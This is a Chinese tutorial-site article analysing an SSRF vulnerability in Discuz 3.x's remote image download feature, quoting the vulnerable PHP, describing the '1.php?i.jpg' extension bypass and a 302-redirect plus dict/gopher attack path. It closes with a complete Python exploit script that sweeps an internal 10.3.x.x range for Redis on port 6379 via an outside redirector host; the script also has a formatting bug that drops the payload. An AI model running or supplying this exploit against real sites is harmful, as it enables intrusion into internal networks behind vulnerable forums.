您现在的位置是:首页 > cms教程 > Discuz教程Discuz教程

discuz3.x ssrf漏洞分析

念芹2025-07-02Discuz教程已有人查阅

导读漏洞促发点\souce\module\forum\forum_ajax.php之后看到了这里看名字看出应该是个远程下载图片的功能。preg_match_all会匹配完整的字符串把他输出到array[0]中然后array[1]中存放

漏洞促发点\souce\module\forum\forum_ajax.php之后看到了这里
$_GET['action']='downremoteimg'
看名字看出应该是个远程下载图片的功能。
$_GET['message'] = str_replace(array("\r", "\n"), array($_GET['wysiwyg'] ? '<br />' : '', "\\n"), $_GET['message']);
preg_match_all("/\[img\]\s*([^\[\<\r\n]+?)\s*\[\/img\]|\[img=\d{1,4}[x|\,]\d{1,4}\]\s*([^\[\<\r\n]+?)\s*\[\/img\]/is", $_GET['message'], $image1, PREG_SET_ORDER);
$temp = $aids = $existentimg = array();
if(is_array($image1) && !empty($image1)) {
foreach($image1 as $value) {
$temp[] = array(
'0' => $value[0],
'1' => trim(!empty($value[1]) ? $value[1] : $value[2])
);
}
}
preg_match_all会匹配完整的字符串把他输出到array[0]中然后array[1]中存放的是边界符里面的东西。本地测试一下
<?php
$a="<script>alert('1')</script>";
preg_match_all("|<[^>]+>(.*)</[^>]+>|", $a, $array, PREG_SET_ORDER);
print_r($array);
?>
输出Array
(
[0] => Array
(
[0] => <script>alert('1')</script>
[1] => alert('1')
)
)
所以上面的代码$value[1]的值就是把边界去掉后中间的值。继续跟进的话看到了关键代码
foreach($temp as $value) {
$imageurl = $value[1];
$hash = md5($imageurl);
//echo $imageurl;
if(strlen($imageurl)) {
$imagereplace['oldimageurl'][] = $value[0];
if(!isset($existentimg[$hash])) {
$existentimg[$hash] = $imageurl;
$attach['ext'] = $upload->fileext($imageurl);
echo $attach['ext'];
if(!$upload->is_image_ext($attach['ext'])) {
continue;
}
//echo $imageurl;
$content = '';
if(preg_match('/^(http:\/\/|\.)/i', $imageurl)) {
$content = dfsockopen($imageurl);
前面的fileext函数是匹配后缀必须为图片格式,下面看到了$content = dfsockopen($imageurl)我们跟进到这个函数,最后找到了这样的一段
function _dfsockopen($url, $limit = 0, $post = '', $cookie = '', $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE, $encodetype = 'URLENCODE', $allowcurl = TRUE, $position = 0) {
$return = '';
$matches = parse_url($url);
$scheme = $matches['scheme'];
$host = $matches['host'];
$path = $matches['path'] ? $matches['path'].($matches['query'] ? '?'.$matches['query'] : '') : '/';
$port = !empty($matches['port']) ? $matches['port'] : 80;
if(function_exists('curl_init') && function_exists('curl_exec') && $allowcurl) {
$ch = curl_init();
$ip && curl_setopt($ch, CURLOPT_HTTPHEADER, array("Host: ".$host));
curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip : $host).':'.$port.$path);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
if($post) {
curl_setopt($ch, CURLOPT_POST, 1);
if($encodetype == 'URLENCODE') {
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
} else {
parse_str($post, $postarray);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postarray);
}
}
curl明显的ssrf接下来构造payload这里通过1.php?i.jpg这种格式绕过验证
payload="http://127.0.0.1/Discuz1.3/upload/forum.php?mod=ajax&action=downremoteimg&message="
然后利用姿势是写一个302跳转页面,然后通过dict或者gopher协议去读。附上利用脚本
import requests
import time
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import threading
import Queue
threads_count = 20
scheme = 'dict'
port = '6379'
ip_block = '10.3'
class WyWorker(threading.Thread):
def __init__(self,queue):
threading.Thread.__init__(self)
self.queue = queue
def run(self):
global lock
while True:
if self.queue.empty():
break
try:
url = self.queue.get_nowait()
starttime = time.time()
results= requests.get(url)
if time.time() - starttime > 4:
starttime2=time.time()
res = requests.get(url)
if time.time() - starttime2 > 4:
lock.acquire()
print url
lock.release()
except requests.exceptions.ReadTimeout:
pass
except requests.exceptions.ConnectTimeout:
pass
except Exception, e:
break
if __name__ == "__main__":
queue = Queue.Queue()
global lock
lock = threading.Lock()
for c in xrange(0,255):
for d in xrange(0,255):
ip = '{0}.{1}.{2}'.format(ip_block,c,d)
payload = 'http://115.159.115.41:2333/302.php?s={scheme}%26ip={ip}%26port={port}%26data=helo.jpg'.format(scheme=scheme,ip=ip,port=port)
url = "http://127.0.0.1/Discuz1.3/upload/forum.php?mod=ajax&action=downremoteimg&message=".format(payload=payload)
queue.put(url)
threads = []
for i in xrange(threads_count):
threads.append(WyWorker(queue))
for t in threads:
t.start()
for t in threads:
t.join()

本文标签:

很赞哦! ()

相关源码

  • (PC+WAP)蓝色玻璃纤维制品环保设备营销型pbootcms模板源码下载这是一款针对玻璃纤维行业特点设计的网站模板,采用蓝色系配色方案,体现工业感和环保理念。模板包含产品中心、应用案例、技术支持和新闻动态等核心模块,能够全面展示玻璃纤维制品的技术参数和应用场景。查看源码
  • (自适应响应式)水墨风白酒酿制酒业酒文化酒类产品网站源码下载本模板基于PbootCMS内核开发,为酒类企业打造的水墨风响应式网站解决方案。采用传统东方美学设计语言,呈现白酒文化底蕴,自适应移动端展示效果,数据实时同步更新,助力酒企建立专业数字化形象。查看源码
  • (自适应)电子元件电路板元器件pbootcms网站源码下载为电子元器件、电路板制造类企业设计,特别适合展示产品参数、技术规格等内容。采用响应式技术,确保各类电子元件在不同设备上都能清晰展示。查看源码
  • (自适应)科技产品设备技术作品pbootcms网站模板带下载和招聘基于PbootCMS内核开发的高端科技企业模板,采用响应式布局技术,适配各类移动终端设备。模板设计聚焦科技行业特性,通过模块化结构实现企业形象展示、技术成果发布与人才招募等核心需求查看源码
  • 自适应恒温恒湿机空调机械设备营销型网站模板(自适应手机版)响应式营销型恒温恒湿机环境设备类网站pbootcms模板 蓝色营销型空调设备网站源码下载PbootCMS内核开发的网站模板,该模板适用于营查看源码
  • pbootcms模板(PC+WAP)APP应用软件下载类官网源码为APP应用软件官网打造的响应式解决方案,PC端与移动端(WAP)数据实时同步,一次更新全网生效,满足多终端用户无缝体验需求。查看源码
分享笔记 (共有 篇笔记)
验证码:

本栏推荐